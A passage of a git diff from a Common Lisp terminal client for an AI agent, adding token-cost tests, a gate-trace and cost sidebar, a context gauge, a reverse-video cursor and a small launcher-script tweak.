0)) + (is (integerp count)))) + +(test test-count-tokens-empty + "Contract 1: count-tokens on empty string returns 0." + (let ((count (count-tokens ""))) + (is (= 0 count)))) + +(test test-model-token-ratio-known + "Contract 2: known model returns correct ratio." + (is (= 4.0 (model-token-ratio :gpt-4o-mini))) + (is (= 4.5 (model-token-ratio :claude-3-5-sonnet))) + (is (= 3.5 (model-token-ratio :llama-3.1-70b)))) + +(test test-model-token-ratio-unknown + "Contract 2: unknown model returns default ratio." + (is (= 4.0 (model-token-ratio :unknown-model-abc)))) + +(test test-token-cost-known + "Contract 3: token-cost returns a number for known model." + (let ((cost (token-cost :gpt-4o-mini 1000))) + (is (numberp cost)) + (is (> cost 0.0)))) + +(test test-token-cost-unknown + "Contract 3: token-cost returns 0.0 for unknown model." + (is (= 0.0 (token-cost :no-such-model 1000)))) + +(test test-provider-token-cost + "Contract: provider-token-cost maps provider to model price." + (let ((cost (provider-token-cost :deepseek 1000))) + (is (numberp cost)) + (is (> cost 0.0)))) + +(test test-count-tokens-ratio-sensitivity + "Contract 1: longer text produces proportionally more tokens." + (let ((short (count-tokens "hi" :model :gpt-4o-mini)) + (long (count-tokens "this is a much longer piece of text with many words in it" :model :gpt-4o-mini))) + (is (> long short)))) + +(test test-count-tokens-non-string + "Contract 1: non-string values are coerced and counted." + (let ((count (count-tokens 12345))) + (is (> count 0)))) diff --git a/org/channel-tui-main.org b/org/channel-tui-main.org index c41c28a..d0bf464 100644 --- a/org/channel-tui-main.org +++ b/org/channel-tui-main.org @@ -645,7 +645,8 @@ supplied (e.g. \"/\"), pre-fill the select filter with it." (level (getf msg :level)) (gate-trace (getf msg :gate-trace)) (rule-count (getf payload :rule-count)) - (foveal-id (getf payload :foveal-id))) + (foveal-id (getf payload :foveal-id)) + (session-cost (getf payload :session-cost))) ;; v0.7.2: HITL approval-required panel (when (eq level :approval-required) (let* ((hitl-msg (or (getf payload :message) @@ -692,6 +693,7 @@ supplied (e.g. \"/\"), pre-fill the select filter with it." (return-from on-daemon-msg nil)))) (when rule-count (setf (st :rule-count) rule-count)) (when foveal-id (setf (st :foveal-id) foveal-id)) + (when session-cost (setf (st :session-cost) session-cost)) (cond (text (setf (st :busy) nil) (add-msg :agent text :gate-trace gate-trace)) @@ -1043,25 +1045,31 @@ Returns T on success, nil on failure. Does NOT wait or retry." (cl-tty.backend:draw-text be 1 top (cl-tty.dialog:dialog-title dlg) (theme-color :accent) bg-p) - ;; Options - (let ((y-off 1)) - (dolist (item filtered) - (let* ((display-idx (first item)) - (option (third item)) - (title (getf option :title)) - (cat (getf option :category)) - (sel-p (eql display-idx sel-idx)) - (text (if cat (format nil " ~a" title) - (format nil " ~a~a" (if sel-p "▸ " " ") title))) - (row (+ top y-off))) - (when (>= row (1- h)) (return)) - (cl-tty.backend:draw-text be 1 row text - (cond (cat (theme-color :text-muted)) - (sel-p (theme-color :accent)) - (t (theme-color :agent-fg))) - bg-p :bold sel-p) - (incf y-off)))) - ;; Filter prompt + ;; Options + (let ((y-off 1)) + (dolist (item filtered) + (let* ((display-idx (first item)) + (option (third item)) + (title (getf option :title)) + (cat (getf option :category)) + (sel-p (eql display-idx (or sel-idx 0))) + (text (if cat (format nil " ~a" title) + (format nil " ~a" title))) + (row (+ top y-off))) + (when (>= row (1- h)) (return)) + (cond + (sel-p + (cl-tty.backend:draw-rect be 1 row (1- chat-w) 1 + :bg (theme-color :input-fg)) + (cl-tty.backend:draw-text be 1 row (format nil " >> ~a" title) + (theme-color :bg-input) (theme-color :input-fg))) + (cat + (cl-tty.backend:draw-text be 1 row text + (theme-color :text-muted) bg-p)) + (t + (cl-tty.backend:draw-text be 1 row text + (theme-color :agent-fg) bg-p))) + (incf y-off)))) (cl-tty.backend:draw-rect be 0 (- h 3) chat-w 1 :bg bg-p) (cl-tty.backend:draw-text be 0 (- h 3) (format nil "> ~a" (or filter "")) diff --git a/org/channel-tui-view.org b/org/channel-tui-view.org index 3532ed6..263a3f6 100644 --- a/org/channel-tui-view.org +++ b/org/channel-tui-view.org @@ -13,7 +13,7 @@ get amber left border (│), agent messages no border, streaming agent gets grey left border. Gate traces/tool calls use ╎ prefix. 3. (view-input fb w h): renders expanding light grey input box, - multi-line word-wrapped prompt, software blinking cursor (█), + multi-line word-wrapped prompt, Emacs-style reverse-video cursor, right-aligned lowercase hint at h-2. 4. (redraw fb w h): wraps view-status/chat/input in begin-sync/end-sync, dispatches per dirty flags, fills global :bg first. @@ -243,57 +243,93 @@ Returns a list of strings, one per line." (setf cursor-line i cursor-col (- pos accum))) (incf accum (1+ len)))) - ;; Hint — lowercase, right-aligned at h-2 - (let ((hint "ctrl+p | /help")) - (cl-tty.backend:draw-text fb (- chat-w (length hint) 2) (- h 2) hint hint-fg (theme-color :bg)))))) + ;; Hint bar at h-2: F:/MCP: on left, token gauge + keybindings on right + (let* ((focal (or (st :foveal-id) "-")) + (focal-str (format nil "F:~a" focal)) + (mcp-str (format nil "MCP:~d" (or (st :mcp-count) 0))) + (left-str (format nil "~a ~a" focal-str mcp-str)) + (msg-count (max 1 (length (st :messages)))) + (ctx-est (* msg-count 60)) + (ctx-limit 8192) + (ctx-pct (min 100 (floor (* 100 ctx-est) ctx-limit))) + (ctx-tok (if (< ctx-est 1000) + (format nil "~d" ctx-est) + (format nil "~dK" (floor ctx-est 1000)))) + (ctx-str (format nil "~a (~d%%)" ctx-tok ctx-pct)) + (hint-str "ctrl+p | /help") + (ctx-fg (cond ((< ctx-pct 50) (theme-color :tool-done)) + ((< ctx-pct 80) (theme-color :input-prompt)) + (t (theme-color :error)))) + (hint-x (- chat-w (length hint-str) 2)) + (ctx-x (- hint-x 1 (length ctx-str)))) + (cl-tty.backend:draw-text fb hpad (- h 2) left-str hint-fg (theme-color :bg)) + (cl-tty.backend:draw-text fb ctx-x (- h 2) ctx-str ctx-fg (theme-color :bg)) + (cl-tty.backend:draw-text fb hint-x (- h 2) hint-str hint-fg (theme-color :bg)))))) #+end_src ** Sidebar #+BEGIN_SRC lisp :tangle /home/user/.local/share/passepartout/lisp/channel-tui-view.lisp (defun view-sidebar (fb w h) - "Render the right-side sidebar panel." (let* ((w (or (and (numberp w) (> w 0) w) 80)) (h (or (and (numberp h) (> h 0) h) 24)) (x (- w (or (st :sidebar-width) 42))) (bg-panel (theme-color :bg-panel)) (y 0)) - ;; Fill sidebar background (h-1 done separately to avoid scroll) (cl-tty.backend:draw-rect fb x 0 (- w x) (1- h) :bg bg-panel) (cl-tty.backend:draw-text fb x (1- h) (make-string (- w x) :initial-element #\Space) nil bg-panel) - ;; Focus panel - (cl-tty.backend:draw-text fb (+ x 2) (incf y) "FOCUS" (theme-color :accent) bg-panel) + ;; Gate Trace — from latest agent message + (cl-tty.backend:draw-text fb (+ x 2) (incf y) "GATE TRACE" (theme-color :accent) bg-panel) (incf y) - (cl-tty.backend:draw-text fb (+ x 2) (incf y) (format nil " ~a" (or (st :foveal-id) "none")) - (theme-color :agent-fg) bg-panel) - (incf y 2) - ;; Rules panel - (cl-tty.backend:draw-text fb (+ x 2) (incf y) "RULES" (theme-color :accent) bg-panel) - (incf y) - (cl-tty.backend:draw-text fb (+ x 2) (incf y) (format nil " ~d active" (or (st :rule-count) 0)) - (theme-color :agent-fg) bg-panel) - (incf y 2) - ;; Context panel — token gauge - (cl-tty.backend:draw-text fb (+ x 2) (incf y) "CONTEXT" (theme-color :accent) bg-panel) - (let* ((msg-count (max 1 (length (st :messages)))) - (est (* msg-count 60)) - (limit 8192) - (pct (min 100 (floor (* 100 est) limit))) - (bar-len (floor pct 10)) - (bar (make-string bar-len :initial-element #\#))) - (cl-tty.backend:draw-text fb (+ x 2) (incf y) - (format nil " [~a~a]" bar - (make-string (- 10 bar-len) :initial-element #\Space)) - (theme-color :dim) bg-panel) - (incf y) - (cl-tty.backend:draw-text fb (+ x 2) (incf y) (format nil " ~d%" pct) - (theme-color :status-fg) bg-panel) + (let* ((msgs (st :messages)) + (last-gt (loop for i from (1- (length msgs)) downto 0 + for m = (aref msgs i) + when (getf m :gate-trace) + return (getf m :gate-trace)))) + (if last-gt + (dolist (g last-gt) + (let* ((name (getf g :gate)) + (result (getf g :result)) + (reason (getf g :reason)) + (glyph (case result (:passed "✓") (:blocked "✗") (:approval "→") (t "?"))) + (color (case result + (:passed (theme-color :tool-done)) + (:blocked (theme-color :error)) + (:approval (theme-color :input-prompt)) + (t (theme-color :dim))))) + (cl-tty.backend:draw-text fb (+ x 2) (incf y) (format nil " ~a ~a" glyph name) color bg-panel) + (when reason + (incf y) + (cl-tty.backend:draw-text fb (+ x 4) (incf y) reason (theme-color :dim) bg-panel)))) + (cl-tty.backend:draw-text fb (+ x 2) (incf y) " (none)" (theme-color :dim) bg-panel)) (incf y 2)) - ;; MCP panel - (cl-tty.backend:draw-text fb (+ x 2) (incf y) "MCP" (theme-color :accent) bg-panel) + ;; Rules + Block Count + (let ((blocked (loop for i below (length (st :messages)) + for m = (aref (st :messages) i) + sum (loop for g in (getf m :gate-trace) + count (eq (getf g :result) :blocked))))) + (cl-tty.backend:draw-text fb (+ x 2) (incf y) "RULES" (theme-color :accent) bg-panel) + (incf y) + (cl-tty.backend:draw-text fb (+ x 2) (incf y) + (format nil " ~d active" (or (st :rule-count) 0)) + (theme-color :agent-fg) bg-panel) + (incf y) + (cl-tty.backend:draw-text fb (+ x 2) (incf y) + (format nil " ~d blocked" blocked) + (if (> blocked 0) (theme-color :error) (theme-color :dim)) bg-panel) + (incf y 2)) + ;; Cost + (cl-tty.backend:draw-text fb (+ x 2) (incf y) "COST" (theme-color :accent) bg-panel) (incf y) - (cl-tty.backend:draw-text fb (+ x 2) (incf y) (format nil " ~d server~:p" (or (st :mcp-count) 0)) - (theme-color :agent-fg) bg-panel) - ;; Version footer at bottom with connection dot + (cl-tty.backend:draw-text fb (+ x 2) (incf y) + (format nil " $~,2f" (or (st :session-cost) 0.0)) + (theme-color :status-fg) bg-panel) + (incf y 2) + ;; Files (stub) + (cl-tty.backend:draw-text fb (+ x 2) (incf y) "FILES" (theme-color :accent) bg-panel) + (incf y) + (cl-tty.backend:draw-text fb (+ x 2) (incf y) " (not yet)" (theme-color :dim) bg-panel) + (incf y 2) + ;; Version footer (let* ((ver (or (st :daemon-version) "")) (ver-label (if (> (length ver) 0) (format nil "passepartout ~a" ver) "passepartout")) (dot (if (st :connected) "●" "○")) @@ -320,17 +356,27 @@ Returns a list of strings, one per line." (setf (st :dirty) (list nil nil nil)))) (defun position-cursor (fb w h) - "Draw a solid block cursor █ at the input insertion point." + "Draw cursor at the input insertion point using reverse video (Emacs-style). + + The character under the cursor is redrawn with foreground and background + swapped. If the cursor is past the end of the input string, a reversed + space is drawn." (let* ((sw (if (sidebar-visible-p w) (or (st :sidebar-width) 42) 0)) (cw (- w sw)) (hpad 2) (text (input-string)) + (text-len (length text)) (pos (or (st :cursor-pos) 0)) (prompt-w (- cw (* 2 hpad) 2)) (display-start (max 0 (- pos (1- prompt-w)))) (cx (+ hpad 2 (- pos display-start))) - (cy (- h 6))) - (cl-tty.backend:draw-text fb cx cy "█" (theme-color :input-prompt) nil) + (cy (- h 6)) + (bg-i (theme-color :bg-input)) + (input-fg (theme-color :input-fg))) + (if (< pos text-len) + (let ((ch (char text pos))) + (cl-tty.backend:draw-text fb cx cy (string ch) bg-i input-fg)) + (cl-tty.backend:draw-text fb cx cy " " bg-i input-fg)) (finish-output (cl-tty.backend::backend-output-stream fb)))) #+END_SRC diff --git a/passepartout b/passepartout index 50e1e89..45ce7e1 100755 --- a/passepartout +++ b/passepartout @@ -424,6 +424,8 @@ LISPEOF # Set character-at-a-time mode BEFORE SBCL starts # (uiop:run-program inside SBCL can't access the terminal) stty -icanon -echo -ixon 2>/dev/null + # Ensure COLORTERM is set for modern backend detection + export COLORTERM="${COLORTERM:-truecolor}" # Clear stale cl-tty cache to ensure latest backend-size fixes find ~/.cache/common-lisp -name "*.fasl" -path "*cl-tty*" -delete 2>/dev/null sbcl --noinform --load /tmp/tui-load.lisp